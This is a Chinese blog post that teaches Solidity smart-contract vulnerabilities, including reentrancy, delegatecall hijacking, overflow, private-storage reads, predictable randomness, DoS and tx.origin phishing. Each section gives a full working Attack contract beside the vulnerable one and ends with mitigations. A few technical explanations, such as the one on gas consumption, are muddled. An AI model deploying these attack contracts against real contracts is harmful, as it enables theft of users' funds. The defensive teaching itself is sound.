fatcat 慢即是快

solidity 智能合约攻击方法分析

2022-09-05
fatcat22

智能合约是目前以太坊和重要组成部分,solidity 是编写智能合约的一种比较常见的编程语言。但很不幸的是,既然智能合约是程序员用编程语言编写的,就会产生各种各样的 bug ,有的 bug 可以被恶意利用,从而产生漏洞与攻击。这篇文章里,我汇总与分析了 solidity 语言编写的智能合约的常见缺陷与漏洞,以便自己与读者在编写智能合约时,尽量避开这些陷阱。

本文收集的攻击方式还不全,不过更新不动了 ……

智能合约常见攻击手段

Re-Entrancy 重入攻击

所谓重入,就是指 A 调用了 B ,在 B 中又调用 A 。当然重入不是问题,这里能产生攻击的关键是,虽然 A 在调用 B 之前会检查相关状态,但只在 B 返回后,才去更改相关状态,这导致 A 调用 B 、B 调用 A 这个循环可以一直循环下去,直到 B 主动停止。

攻击示例:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

这个例子中,EtherStore 是一个被攻击的合约,它可以质押和取回 ETH 。Attack 是攻击 EtherSotre 的合约。

攻击步骤

  1. 部署 EtherStore
  2. Alice 和 Bob 分别向 EtherStore 质押了 1 个 ETH
  3. Eve 使用 EtherStore 的地址部署 Attack
  4. Eve 调用 Attack.attack
  5. Eve 从 EtherStore 中取回了 3 个 ETH (自己质押的 1 个,另个 2 个是 Alice 和 Bob 的)

前置知识点

  1. 一个合约拥有多少 ETH 是记录在 <address>.balance 这个字段中的,这是在处理 Transaction 时自动完成的,不需要合约写代码实现。所以,虽然上面示例代码中 EtherStore 合约使用 balances 这样一个 mapping 类型记录不同人的质押数量,但它仅仅是一个记录,转帐时(尤其是转出)真正是看 <address>.balance 有多少币的。
  2. fallback 函数是合约里的一个特殊函数,当调用某个合约的函数时,如果被调用合约中已实现的函数的函数签名(如 getBalance() public view returns (uint) 就是一个函数签名)没有与之相匹配的,就会调用 fallback 函数(如果你熟悉 Python ,它相当于 Python 中的 __missing__ 方法)。例子中 msg.sender.call 就会调用到 fallback 函数中。

攻击解释
在上面的例子中,Alice 、Bob 都分别质押了 1 ETH ,所以 address(Etherstore).balance 中共有 2 ETH。当 Eve 调用 Attack.attack 后,先是自己质押了 1 ETH ,这是为了在调用 EtherStore.withdraw 时可以通过一开始的判断:

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        /// hiden code ......
    }

Eve 质押 1 ETH 后,就调用 EtherStore.withdraw 开始取回和盗取 ETH。 EtherStore.withdraw 的实现是先判断 EtherStore.balances 中是否有调用者(即 Eve )的质押,如果有(当然有,1 ETH),就先调用 msg.sender.call{value: bal}("") 将 ETH 退还给 Eve ;而 msg.sender.call{value: bal}("") 这个调用除了将 bal 这么多 ETH 转移到 Eve 的账户中,还会进入到 Attack.fallback 中,在 Attack.fallback 中,攻击者再次调用 EtherStore.withdraw 。由于 EtherStore.balances 中 Eve 的记录还没有清零,所以 EtherStore.withdraw 一开始的判断仍然可以通过,然后就再次转移 bal 个 ETH 到 Eve 账户中。如果循环,直到 Attak.fallback 不再调用 EtherStore.withdraw 才能停止。

如何避免

  1. 在处理完状态变更前,不要调用其它合约:
     function withdraw() public {
         uint bal = balances[msg.sender];
         require(bal > 0);
         balances[msg.sender] = 0; // 重要:先清零,再调用 call
    
         (bool sent, ) = msg.sender.call{value: bal}("");
         require(sent, "Failed to send Ether");
     }
    
  2. 使用防止重入:
     // SPDX-License-Identifier: MIT
     pragma solidity ^0.8.13;
    
     contract ReEntrancyGuard {
         bool internal locked;
    
         modifier noReentrant() {
             require(!locked, "No re-entrancy");
             locked = true;
             _;
             locked = false;
         }
     }
    
  3. 尽量不用使用 call ,改用 sendtransfer

Delegatecall 攻击

delegatecall 是 solidity 语言中提供的一个函数。delegatecall 与普通的调用(call)不同的地方是,使用 delegatecall 进入到目标函数时,其上下文信息(如 msg.sender,合约的状态变量等)都是调用者的信息。或者说,delegatecall 的效果相关于把被调用函数的代码拷贝到当前环境中执行。

攻击示例(链接里有两个例子,我们这里选择了比较复杂的那个):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract Lib {
    uint public someNumber;

    function doSomething(uint _num) public {
        someNumber = _num;
    }
}

contract HackMe {
    address public lib;
    address public owner;
    uint public someNumber;

    constructor(address _lib) {
        lib = _lib;
        owner = msg.sender;
    }

    function doSomething(uint _num) public {
        lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
    }
}

contract Attack {
    // Make sure the storage layout is the same as HackMe
    // This will allow us to correctly update the state variables
    address public lib;
    address public owner;
    uint public someNumber;

    HackMe public hackMe;

    constructor(HackMe _hackMe) {
        hackMe = HackMe(_hackMe);
    }

    function attack() public {
        // override address of lib
        hackMe.doSomething(uint(uint160(address(this))));
        // pass any number as input, the function doSomething() below will
        // be called
        hackMe.doSomething(1);
    }

    // function signature must match HackMe.doSomething()
    function doSomething(uint _num) public {
        owner = msg.sender;
    }
}

上面例子中,HackMe 是被攻击合约;Attack 是发起攻击的合约。

攻击步骤

  1. Alice 部署 Lib 合约,然后使用 Lib 合约的地址部署 HackMe 合约
  2. Eve 使用 HackMe 合约的地址部署 Attack 合约
  3. Eve 调用 Attack.attack
  4. HackMe 的 owner 变成了 Attack 合约(原本的 owner 是 Alice)

关键知识点

  1. 使用 delegatecall 时,上下文信息是调用者的上下文信息,包括合约状态变量、msg.sender

攻击解释
在调用 Attack.attack 时,首先调用了 HackMe.doSomething ;而在 HackMe.doSomething 中,则使用 delegatecall 调用 Lib.doSomething ,传入的参数则是 Attack 合约的地址。虽然从源代码上看,Lib.doSomething 更新的是 Lib.someNumber ,但实际上它更新的只不过是「当前合约字段中的第 1 个字段」而已。以具体的 opcode 代码比较烦锁,我们就只看反编译代码吧,下是 Lib.doSomething 的反编译代码:

function func_0063(var arg0) {
        storage[0x00] = arg0;
    }

虽然是反编译代码,但我们知道,这里存储 storage 靠的是 sstore 指令,这个指令的解释代码如下:

func opSstore(pc *uint64, interpreter *EVMInterpreter, scope *ScopeContext) ([]byte, error) {
	if interpreter.readOnly {
		return nil, ErrWriteProtection
	}
	loc := scope.Stack.pop()
	val := scope.Stack.pop()
	interpreter.evm.StateDB.SetState(scope.Contract.Address(),
		loc.Bytes32(), val.Bytes32())
	return nil, nil
}

在我们的例子中,loc 变量即为 0 ,val 变量即为 arg0 。显然这里的关键是 scope.Contract.Address() 的返回值,它的代码如下:

func (c *Contract) Address() common.Address {
	return c.self.Address()
}

Contract.self (类型为 ContractRef) 字段的值,很显然 self 代表合约自己的地址。那么这个值在什么地方被赋值的呢?我们看一下 EVM.DelegateCall 的代码:

func (evm *EVM) DelegateCall(caller ContractRef, addr common.Address, input []byte, gas uint64) (ret []byte, leftOverGas uint64, err error) {
    /// hiden code ......
    		contract := NewContract(caller, AccountRef(caller.Address()), nil, gas).AsDelegate()
            contract.SetCallCode(&addrCopy, evm.StateDB.GetCodeHash(addrCopy), evm.StateDB.GetCode(addrCopy))
            ret, err = evm.interpreter.Run(contract, input, false)
            gas = contract.Gas
    /// hiden code ......
}

这里会生成一个新的 Contract 对象,注意 NewContract 的第二个参数,其实就是 caller (调用者的地址),它也是赋值给 Contract.self 的值:

func NewContract(caller ContractRef, object ContractRef, value *big.Int, gas uint64) *Contract {
	c := &Contract{CallerAddress: caller.Address(), caller: caller, self: object}
    /// hiden code ......
    return c
}

所以,综上来说,Lib.doSomething 看似是修改了 Lib.someNumber 的值,实际上它只是修改了「当前合约地址的 storage 0 的值」而已;而由于它是被 delegatecall 调用的,所以它的 「当前合约」 就是它的调用者,而非它自己。所以这种情况下,实际上它修改的是它的调用者的 storage 0 的值,即 HackMe.lib。由于传入的参数是 Attack 合约的地址,所以这一步将 HackMe.lib 的值修改成了 HackMe 的地址。

接下来 Attack.attack 再次调用 HackMe.doSomething;在 HackMe.doSomething 中,仍然使用 delegatecall 调用 lib.doSomething 。但在上一步中,已经把 HackMe.lib 改成 Attack 合约的地址了,所以此时其实是使用 delegatecall 的方式调用 Attack.doSomething

Attack.doSometing 中,将 owner 设置成 msg.sendermsg.sender 当然是 Eve ,这个好理解;跟刚才修改 HackMe.lib 地址类似,从源码上看好像更新的是 Attack.owner ,但实际上只是更新「当前合约字段中的 storage 1 的值」而已;而由于使用了 delegatecall ,当前合约其实是 HackMe 的而不是 Attack ,所以就将 HackMe.owner 改成了 Eve 。

到这里你应该也就能明白为什么要求 AttackHackMe 的状态变量要一样,因为一样的话,它们编译出来每个字段的 storage 序号才一样,在使用 delegatecall 时才能正确的修改相应的状态变量。

(上面解释中使用到的 storage 0 等术语,其实被称为 slot 。如果上面的解释能看懂,那就好;如果实在觉得不理解,那么你可以再看看本方中关于「访问私有数据」的讨论,那里详细解释了合约的状态变量的存储,即 layout in storage

如何避免

  1. 尽量不要使用 delegatecall
  2. 如果必须要用,尽量只使用 delegatecall 调用不会修改态变量的函数

整数溢出攻击

整数溢出问题在很多编程语言中都存在。在 solidity < 0.8 的版本中,也存在这个问题;但在 >= 0.8 的版本中已经不存在这个问题了(溢出了会抛出异常)。

攻击示例:

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        timeLock.deposit{value: msg.value}();
        /*
        if t = current lock time then we need to find x such that
        x + t = 2**256 = 0
        so x = -t
        2**256 = type(uint).max + 1
        so x = type(uint).max + 1 - t
        */
        timeLock.increaseLockTime(
            type(uint).max + 1 - timeLock.lockTime(address(this))
        );
        timeLock.withdraw();
    }
}

TimeLock 合约的作用是锁定质押的币至少 1 星期的时间;Attack 通过精心构造一个值,使得在 TimeLock.increaseLockTime 中将这个值与 TimeLock.lockTime 相加后,TimeLock.lockTime 溢出变成了 0 :

    function increaseLockTime(uint _secondsToIncrease) public {
        // 精心构造 _secondsToIncrease 后,lockTime[msg.sender] 与其相加后变成 0
        lockTime[msg.sender] += _secondsToIncrease; 
    }

构造的方法都是简单的数学运算加减推导,在示例中的注释已经写得很清楚了,这里就不再说了。

攻击步骤

  1. 部署 TimeLock 合约
  2. 使用 TimeLock 合约的地址部署 Attack 合约
  3. 使用 1 ETH 调用 Attack.attack 函数
  4. 虽然 Attack.attack 函数会质押 1 ETH 到 TimeLock 中,但它可以立即取回质押的币

如何避免

  1. 使用 SafeMath 可以避免溢出
  2. 使用 solidity 0.8 以上的版本

(我觉得 solidity 作为一门解释型语言,又是涉及智能合约这么严谨的东西,出现整数溢出问题真是不应该;况且,还是在 0.8 以后才解决,更不应该。)

Self Destruct

solidity 中有一个 selfdestruct 函数,某个合约如果调用它,就会「自毁」:合约被从链上删除了,合约自身所剩的币,会转给 selfdestruct 参数指定的地址。比如:

    address payable addr = payable(address(AnotherContract));
    // 当前合约如果有币,就会转给 AnotherContract
    selfdestruct(addr);

目前其实还未发现有使用此特性导致的真实攻击。这里的示例也不够真实,因为在这个例子中,Attack 付出了 5 个 ETH 却没得到任何好处,真实世界一般不会有这样的攻击的。

目前大家都预测如果有利用这个特性攻击的话,可能是因为使用 <address>.balance 作为判断依据引起的。因为正常情况下要给某个合约存储币的话,可能需要调用某个函数(如 deposit),函数会有一些逻辑判断,只有符合要求的转账才是被允许的。而使用 selfdestruct 会强制将剩余的币转给指定地址,从而绕过函数的逻辑限制而直接修改 balance 的值,这可能导致一些其它的逻辑判断发生变化。

访问私有数据

虽然 solidity 语言对合约的状态变量有可见性控制,但这个控制只是在合约与合约之间有效,对 eth_getStorageAtweb3.eth.getStorageAt 来说是无效的,它们仍然可以获取到 private 类型的状态变量的值。

攻击示例:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract Vault {
    // slot 0
    uint public count = 123;
    // slot 1
    address public owner = msg.sender;
    bool public isTrue = true;
    uint16 public u16 = 31;
    // slot 2
    bytes32 private password;

    // constants do not use storage
    uint public constant someConst = 123;

    // slot 3, 4, 5 (one for each array element)
    bytes32[3] public data;

    struct User {
        uint id;
        bytes32 password;
    }

    // slot 6 - length of array
    // starting from slot hash(6) - array elements
    // slot where array element is stored = keccak256(slot)) + (index * elementSize)
    // where slot = 6 and elementSize = 2 (1 (uint) +  1 (bytes32))
    User[] private users;

    // slot 7 - empty
    // entries are stored at hash(key, slot)
    // where slot = 7, key = map key
    mapping(uint => User) private idToUser;

    constructor(bytes32 _password) {
        password = _password;
    }

    function addUser(bytes32 _password) public {
        User memory user = User({id: users.length, password: _password});

        users.push(user);
        idToUser[user.id] = user;
    }

    function getArrayLocation(
        uint slot,
        uint index,
        uint elementSize
    ) public pure returns (uint) {
        return uint(keccak256(abi.encodePacked(slot))) + (index * elementSize);
    }

    function getMapLocation(uint slot, uint key) public pure returns (uint) {
        return uint(keccak256(abi.encodePacked(key, slot)));
    }
}

攻击步骤

  1. 部署合约,得到合约地址(假设为 A)
  2. 获取 password 状态变量的值:web3.eth.getStorageAt(A, 2, console.log)
  3. 获取其它状态变量的值(参见原文中的注释,那里关于获取各状态变量的方法写得更详细,这里就不一一列举了)

关键知识点
合约中的状态变量在经过编译后,其存储是有一定规则的,根据官方文档 的说明,除动态数组和 mapping 外,其它类型的状态变量都「连续的」存储在 slot 中,slot 的编号从 0 开始递增。每个 slot 是 32 字节 。有些类型如 int 正好占用一个 slot ;而其它类型如 boolint8 等不满 32 字节的类型,为了空间优化会将它们整合到一个 slot 中存储,整合的规则是:

  • 从遇到的第一个不满 32 字节的类型开始整合
  • 如果一个类型在当前 slot 放不下了,那么不管这个类型是干什么,都放到下一个 slot 中去
  • struct 和 array 总是放在一个新的 slot 中
  • struct 和 array 后面紧跟的变量,也总是放在一个新的 slot 中

对于动态数组来说,它在刚才提到的「连续的」slot 中占有一个 slot ,其内容是元素的数量;元素存储在其它 slot 中,元素所在的 slot 的计算方法为:

keccak256(p) + floor(i / floor(256 / bit_of_element)) 对于多维数组一样,重复使用上述公式即可,只不过除了最后一维,其它维的 bit_of_element 都是 256。

对于 mapping 类型来说,它在刚才提到的「连续的」slot 中也占有一个 slot ,不过内容为空。各 value 也是存储在其它 slot 中,计算方法为:

keccak256(h(k) . p) 其中根据 key 的类型不同,函数 h 也不同:

  • 如果 key 是值类型,h 则是将值扩展成 32 字节的函数
  • 如果 key 是 string 或 byte 数组,则 h 直接返回原值

这样说比较难理解,看个例子就很清楚了。下面的合约里,我在注释中说明了状态变量所在的 slot ,以及在访问时如何计算它们的元素所在的 slot:

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.4.0 <0.9.0;

contract C {
    uint x;                       // slot 0
    uint24[][] array;             // slot 1
    mapping(uint => uint) map1;   //slot 2
    mapping(string => uint) map2; // slot 3

    function test_array(uint i, uint j, uint24 num) public {
        // dim1_index = keccak256(1) + i
        // dim2_index = keccak256(dim1_index) + floor(j / floor(256 / 24))
        // storage[dim2_index] <- num
        array[i][j] = num;
    }

    function test_map1(uint k, uint v) public {
        // memory[0x00:0x20] = k;
        // memory[0x20:0x40] = 2;
        // index = keccak256(memory[0x00:0x40])
        // storage[index] = v;
        map1[k] = v;
    }

    function test_map2(string calldata k, uint v) public {
        // memory[t1:t1 + len(k)] = k
        // memory[t1 + len(k):t1 + len(k) + 0x20] = 3;
        // index = keccak256(memory(t1:t1 + len(k) + 0x20))
        // storage[index] = v;
        map2[k] = v;
    }
}

攻击解释
知道了以上规则后,就很容易理解 ,getStorageAt 函数就是使用这个规则,直接从区块链数据库中直接读取字段数据的。

如何避免

  • 不要在合约的状态变量中存储敏感信息

对使用 Block 信息作为随机数源的攻击

有的开发者会觉得 Block 的产生是无法预测的,所以可以用 Block 的哈希或时间戳作为随机数源。但虽然还未生成的 Block 确实无法预测,但 Block 的生成是需要时间的,在新的 Block 生成之前,所有人其实都已经知道了当前 Block 的哈希和时间戳。

攻击示例:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

/*
NOTE: cannot use blockhash in Remix so use ganache-cli

npm i -g ganache-cli
ganache-cli
In remix switch environment to Web3 provider
*/

contract GuessTheRandomNumber {
    constructor() payable {}

    function guess(uint _guess) public {
        uint answer = uint(
            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
        );

        if (_guess == answer) {
            (bool sent, ) = msg.sender.call{value: 1 ether}("");
            require(sent, "Failed to send Ether");
        }
    }
}

contract Attack {
    receive() external payable {}

    function attack(GuessTheRandomNumber guessTheRandomNumber) public {
        uint answer = uint(
            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
        );

        guessTheRandomNumber.guess(answer);
    }

    // Helper function to check balance
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

这个例子很容易理解,GuessTheRandomNumber 是一个猜数游戏,它内部把当前最新的 Block 的 哈希和时间戳当作随机数源,用它们计算一个值,如果调用者猜对了,就奖励 1 ETH。但正如我们刚才所说,新区块的产生是需要时间的,使用 PoW 的以太坊产生一个区块的时间大约是 12 秒左右,在这段时间里,攻击者完全可以使用相同的方法计算 answer 值,然后调用 GuessTheRandomNumber.guess 函数,「猜中」的概念是 100% 。

如何避免
不要使用 Block 的任何信息作为合约的随机数源。

DoS 攻击之发送 ether 失败

拒绝攻击有很多种,这里我们介绍一种通过让发送 ether 失败的方式,中断被攻击者的处理逻辑。

攻击示例:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract KingOfEther {
    address public king;
    uint public balance;

    function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");

        (bool sent, ) = king.call{value: balance}("");
        require(sent, "Failed to send Ether");

        balance = msg.value;
        king = msg.sender;
    }
}

contract Attack {
    KingOfEther kingOfEther;

    constructor(KingOfEther _kingOfEther) {
        kingOfEther = KingOfEther(_kingOfEther);
    }

    // You can also perform a DOS by consuming all gas using assert.
    // This attack will work even if the calling contract does not check
    // whether the call was successful or not.
    //
    // function () external payable {
    //     assert(false);
    // }

    function attack() public payable {
        kingOfEther.claimThrone{value: msg.value}();
    }
}

KingOfEther 是一个比谁的质押值大的游戏,谁质押的币多,谁就是新的 King ,同时会把之前的 King 的币返还回去。

攻击步骤

  1. 部署 KingOfEther
  2. Alice 通过调用 KingOfEther.claimThrone 质押 1 ETH 成为了 King
  3. Eve 使用 KingOfEther 的地址部署 Attack
  4. Eve 调用 Attack.attack 质押 3 ETH 成为新的 King (同时 Alice 收到了返还给 TA 的 1 ETH)
  5. 此后再有人调用 KingOfEther.claimThrone 质押币时,即使比 3 ETH 多,也不会成为新的 King ,Eve 一直是 King 。

关键知识点
如果想要给一个智能合约发送 ETH ,这个智能合约必须至少实现函数 receivefallback 中的一个,否则给这个合约发送 ETH 是不会成功的,这一说明在 receive 函数的描述中可以找到::

The receive function is executed on a call to the contract with empty calldata. This is the function that is executed on plain Ether transfers (e.g. via .send() or .transfer()). If no such function exists, but a payable fallback function exists, the fallback function will be called on a plain Ether transfer. If neither a receive Ether nor a payable fallback function is present, the contract cannot receive Ether through regular transactions and throws an exception.

攻击解释
由于 Attack 即没有实现 receive 也没有实现 fallback ,所以当 Attack 成为 King 以后,别人再次尝试调用 claimThrone 时,向 Attack 返还之前的质押币肯定会失败;而 claimThrone 的逻辑是只有返还成功了才会更改 King ,这就导致了 Attack 一直不会被替换掉。

另外上面的例子中 Attack 有一段注释,说是通过在 fallback 中使用 assert(false) 可以消耗掉所有 gas ,从而使 claimThrone 调用失败,这样即使 claimThrone 不检查返回值,也无法替换掉原来的 King 。但我通过实验和查看文档,发现 0.8 版本并不能使用 assert 消耗掉所有 gas ,在关于 assert 的文档 中,有这样一段描述:

Panic exceptions used to use the invalid opcode before Solidity 0.8.0, which consumed all gas available to the call. Exceptions that use require used to consume all gas until before the Metropolis release.

所以我觉得 0.8 以前的版本可能是可以的,0.8 以后不行了。在目前以太坊 EVM 的代码中,对于 call 有以下的代码:

func (evm *EVM) Call(caller ContractRef, addr common.Address, input []byte, gas uint64, value *big.Int) (ret []byte, leftOverGas uint64, err error) {
    /// hiden code ......

	// When an error was returned by the EVM or when setting the creation code
	// above we revert to the snapshot and consume any gas remaining. Additionally
	// when we're in homestead this also counts for code storage gas errors.
	if err != nil {
		evm.StateDB.RevertToSnapshot(snapshot)
		if err != ErrExecutionReverted {
			gas = 0
		}
	}
	return ret, gas, err
}

也就是只有在错误是 ErrExecutionReverted 时才会消耗掉所有 gas ,而 assert 产生的正是 ErrExecutionReverted 错误。

如何避免
在任何时候调用外部函数时,都要仔细考虑这个函数失败后对自己逻辑的影响。

tx.origin 钓鱼欺骗

如果你要在合约中使用 tx.origin 这个字段,要特别注意一下,这个字段代表的是调用链的最初发起者,而不仅是上一层的调用者(msg.sender),这两者在有些情况下是完全不一样的。例如,如果合约 A 调用了 B,B 调用了 C ,那么在 C 中 msg.sender 代表的是 B ,而 tx.origin 代表的是 A 。

攻击示例:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract Wallet {
    address public owner;

    constructor() payable {
        owner = msg.sender;
    }

    function transfer(address payable _to, uint _amount) public {
        require(tx.origin == owner, "Not owner");

        (bool sent, ) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    address payable public owner;
    Wallet wallet;

    constructor(Wallet _wallet) {
        wallet = Wallet(_wallet);
        owner = payable(msg.sender);
    }

    function attack() public {
        wallet.transfer(owner, address(wallet).balance);
    }
}

在这段代码中,Wallet 合约的本意是只允许合约的拥有者(部署者)调用 Wallet.transfer 转账给别人;但如果 Attack 的拥有者成功引诱 Wallet 的拥有者调用 Attack.attack ,那么 Attack 就也可以调用 Wallet.transfer, 从而稍无声息地把币都转给 Attack 的拥有者了。

攻击步骤

  1. Alice 部署 Wallet 合约。
  2. Eve 使用 Wallet 的地址部署 Attack 合约。
  3. Eve 引诱 Alice 调用 Attack.attack
  4. Eve 成功盗取了 Alice 账户中的所有币。

关键知识点
文档中可以看到,msg.sendertx.origin 代表了不同的含义:

  • msg.sender: 当前调用者
  • tx.origin: transaction 发送者

攻击解释
当 Eve 使用某种方式让 Alice 调用了 Attack.attack 时,在这次调用的 transaction 中,tx.origin 将永远是 Alice 的地址,不管调用了几层、调了哪个合约。所以此时在 Wallet.tranfer 中的检查是可以通过的;但调用 Wallet.transfer 给 Eve 转账显然不是 Alice 的本意。

当然这里的例子太简单了,Eve 几乎不可能引诱 Alice 去调用 Attack.attack。但真实的合约可能远比这个复杂,Alice 未必有精力或能力去发现 Eve 的合约攻击行为。

如何避免
在合约中,除非确定想要 transaction 的发送者的地址,否则一般不要用 tx.origin ,而是用 msg.sender

总结

这篇文章里总结了一些常见的 solidity 攻击方式和原因分析,列得还不全,我会持续更新中……

本篇文章里的攻击方法只用于学习目的,所有方法也非本人原创,请大家不要恶意使用这些方法。如果你用了,跟我无关……

最后我有个感觉不得不说一下,我觉得 solidity 作为一个编写智能合约的语言,「坑」实在太多、太常见了……

限于作者水平,文章中难免有错误的地方,如果发现感谢您能不吝指正。


如果您觉得文章对您有帮助,欢迎打赏

Similar Posts

Comments

Share